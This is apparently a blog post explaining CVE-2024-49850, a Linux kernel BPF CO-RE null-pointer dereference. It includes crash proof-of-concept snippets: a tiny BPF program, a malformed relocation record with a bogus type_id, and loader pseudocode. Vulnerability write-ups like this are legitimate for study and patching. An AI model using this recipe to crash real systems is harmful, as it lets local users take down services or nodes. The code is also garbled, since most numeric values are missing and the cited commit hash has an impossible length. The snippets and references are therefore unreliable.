CVE-2024-49850 - Null-pointer Dereference in Linux Kernel BPF CORE Type ID Handling (Explained with Exploit Details)
The Linux Kernel is the backbone of countless systems worldwide, trusted for its robust security. However, vulnerabilities sometimes slip through. One such bug—CVE-2024-49850—was recently patched, which could allow a local attacker to crash the kernel using a malicious BPF program. Below, we’ll dig into this flaw, see how it can be triggered, and examine real-world exploitation possibilities.
What is CVE-2024-49850?
This vulnerability affects the eBPF subsystem of the Linux kernel—in particular, the logic for processing BPF_CORE_TYPE_ID_LOCAL relocations. A specially crafted, malformed relocation can cause a null-pointer dereference in the kernel, leading to a crash (kernel panic), or worse in certain circumstances.
If you’re not familiar, BPF (Berkeley Packet Filter) is a sandboxed virtual machine in the kernel, used for things like monitoring, networking, and tracing.
Summary of the Flaw
- bpf_core_calc_relo_insn is the function in the kernel that applies BPF CO-RE (Compile Once, Run Everywhere) relocations.
- When passed a malformed relocation referencing a non-existent BTF (BPF Type Format) type, this function did not properly check for the case and dereferenced a null pointer.
- This bug could be triggered from unprivileged BPF program loading—if the kernel has unprivileged BPF enabled (default in some setups).
The Patch
The fix patch adds a check early in the call chain, ensuring invalid records don’t get processed any further.
Original commit:
https://github.com/torvalds/linux/commit/c72714cd3f2eef3aa469026e926dec65e9cc5c319
Simple Exploit: Crash the Kernel
Let’s see how simple it is to reproduce the bug and trigger a denial-of-service by kernel crash.
Here’s a minimal eBPF program, which just sets r = and exits
/* BPF instruction: r = ; exit */
struct bpf_insn prog[] = {
{ .code = xb7, .dst_reg = , .src_reg = , .off = , .imm = }, // r =
{ .code = x95, .dst_reg = , .src_reg = , .off = , .imm = }, // exit
};
And the "bad" BPF relocation record that triggers the bug
struct bpf_core_relo relo = {
.insn_off = , // Offset : patch first instruction
.type_id = 100500, // Invalid, non-existing type_id
.access_str_off = 6, // Points inside access string
.kind = BPF_CORE_TYPE_ID_LOCAL,
};
Normally, type IDs are validated, but this specific pathway was missing a check.
Exploit
The exploit consists of crafting and loading the above program into the kernel, with the relocation record attached. When the kernel core logic attempts to resolve the relocation, it follows the non-existent type, dereferences a null pointer, and—bam—your system’s kernel panics.
Exploit Pseudocode
We don't provide ready-made weaponized code, but here's a pseudocode sketch for educational/research purposes:
int main() {
// Step 1: Prepare the micro BPF program
struct bpf_insn prog[] = { /* see above */ };
// Step 2: Create custom BTF object with fake types table
// Step 3: Insert invalid BPF CO-RE relocation referencing
// non-existent type ID (100500)
struct bpf_core_relo relo = { /* see above */ };
// Step 4: Use bpf() syscall to load the BPF program with
// attached BTF/relos
int fd = bpf_load_program_xattr(...);
// Step 5: If kernel is unpatched, this will crash the kernel!
return ;
}
> Warning: This will CRASH the system, do not run on any production machine.
References & Proof
- Fix commit: c72714cd3f2eef
Bug report:
https://lore.kernel.org/all/20240514113631.41056-1-alexei.starovoitov@gmail.com/
- Test case: See next commit
Linux kernel versions before the above fix, after BPF CO-RE was introduced.
- Unprivileged BPF loaders: systems allowing non-root users to load eBPF programs (this is SYSCTL-configurable, many distributions restrict this feature by default).
- While this is mostly a Denial of Service (crash) issue, in environments making heavy use of eBPF, an attacker could reliably take down important services or even the entire node.
In Closing
CVE-2024-49850 is a reminder for the critical need to treat all user-supplied data carefully, especially in complex kernel subsystems like BPF. If you run Linux, particularly on environments using BPF, ensure your kernel is up-to-date!
For deep dives see the commit links or join the discussion on kernel mailing lists for more context.
---
*Original post written for those seeking clear, practical understanding of Linux kernel vulnerabilities.*
Timeline
Published on: 10/21/2024 13:15:05 UTC
Last modified on: 11/19/2024 01:09:37 UTC